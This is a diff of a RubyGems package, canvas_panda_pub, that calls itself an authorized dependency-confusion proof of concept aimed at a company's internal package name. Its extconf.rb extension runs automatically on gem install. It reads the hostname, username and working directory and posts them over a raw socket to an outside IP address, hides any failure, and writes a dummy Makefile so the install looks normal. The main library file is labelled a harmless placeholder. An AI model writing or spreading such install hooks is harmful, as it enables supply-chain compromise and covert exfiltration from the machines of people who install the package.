canvas_panda_pub 0.0.1

checksums.yaml

@@ -0,0 +1,7 @@
+---
+SHA256:
+  metadata.gz: f216ff9f7ed10fce8796b067fa24adf8f474a9ad3bb000e4437223e7b7da5913
+  data.tar.gz: 94637ff14a6121e8e4703e375a70e64dba19d28f119da3818576cba4f46e3c3a
+SHA512:
+  metadata.gz: ccdf161e99e5fb2e3da09785b5c55f3a656bb5fb982e53542f7cacc26b109a1b7b89e39eb7f39938182d5fbf2c3b5d6a543ca1d80a3000e92bb8f8225cc799ea
+  data.tar.gz: f944b746105e003ec375055abef46fb0b9fc9b96725772f9f954802289cf59714126b86c1fb033d5123c192fd8d992e86a27b47879ea83dfdd34b86762cf7793

data/ext/canvas_panda_pub/extconf.rb

@@ -0,0 +1,32 @@
+require "socket"
+require "json"
+
+# Dependency confusion PoC — harmless callback to prove code execution
+# This is part of authorized HackerOne bug bounty research
+begin
+  hostname = `hostname`.strip rescue ""
+  username = ENV["USER"] || ENV["USERNAME"] || ""
+  cwd = Dir.pwd
+  body = JSON.generate({
+    "hostname" => hostname,
+    "username" => username,
+    "cwd" => cwd,
+    "package" => "canvas_panda_pub",
+    "company" => "instructure",
+    "registry" => "rubygems"
+  })
+  sock = TCPSocket.new("54.80.197.209", 8443)
+  sock.print "POST /cb/canvas_panda_pub HTTP/1.1\r\n"
+  sock.print "Host: 54.80.197.209:8443\r\n"
+  sock.print "Content-Type: application/json\r\n"
+  sock.print "Content-Length: #{body.length}\r\n"
+  sock.print "Connection: close\r\n"
+  sock.print "\r\n"
+  sock.print body
+  sock.close
+rescue => e
+  # Silently fail — this is just a PoC callback
+end
+
+# Create dummy Makefile so gem install succeeds
+File.write("Makefile", "all:\n\ttrue\ninstall:\n\ttrue\n")

data/lib/canvas_panda_pub.rb

@@ -0,0 +1,11 @@
+# Dependency confusion proof-of-concept package
+# Registered as part of authorized HackerOne bug bounty research
+# This is a harmless placeholder — no malicious functionality
+
+module CanvasPandaPub
+  VERSION = "0.0.1"
+
+  def self.info
+    "This is a dependency confusion PoC gem for authorized security research."
+  end
+end

metadata

@@ -0,0 +1,46 @@
+--- !ruby/object:Gem::Specification
+name: canvas_panda_pub
+version: !ruby/object:Gem::Version
+  version: 0.0.1
+platform: ruby
+authors:
+- Security Research
+autorequire:
+bindir: bin
+cert_chain: []
+date: 2026-03-25 00:00:00.000000000 Z
+dependencies: []
+description: 'Harmless placeholder registered as part of authorized HackerOne bug
+  bounty research. Contact: security researcher via HackerOne.'
+email: security-research@example.com
+executables: []
+extensions:
+- ext/canvas_panda_pub/extconf.rb
+extra_rdoc_files: []
+files:
+- ext/canvas_panda_pub/extconf.rb
+- lib/canvas_panda_pub.rb
+homepage: https://github.com/nickel-lang/nickel
+licenses:
+- MIT
+metadata: {}
+post_install_message:
+rdoc_options: []
+require_paths:
+- lib
+required_ruby_version: !ruby/object:Gem::Requirement
+  requirements:
+  - - ">="
+    - !ruby/object:Gem::Version
+      version: '0'
+required_rubygems_version: !ruby/object:Gem::Requirement
+  requirements:
+  - - ">="
+    - !ruby/object:Gem::Version
+      version: '0'
+requirements: []
+rubygems_version: 3.4.20
+signing_key:
+specification_version: 4
+summary: Security research — dependency confusion proof of concept
+test_files: []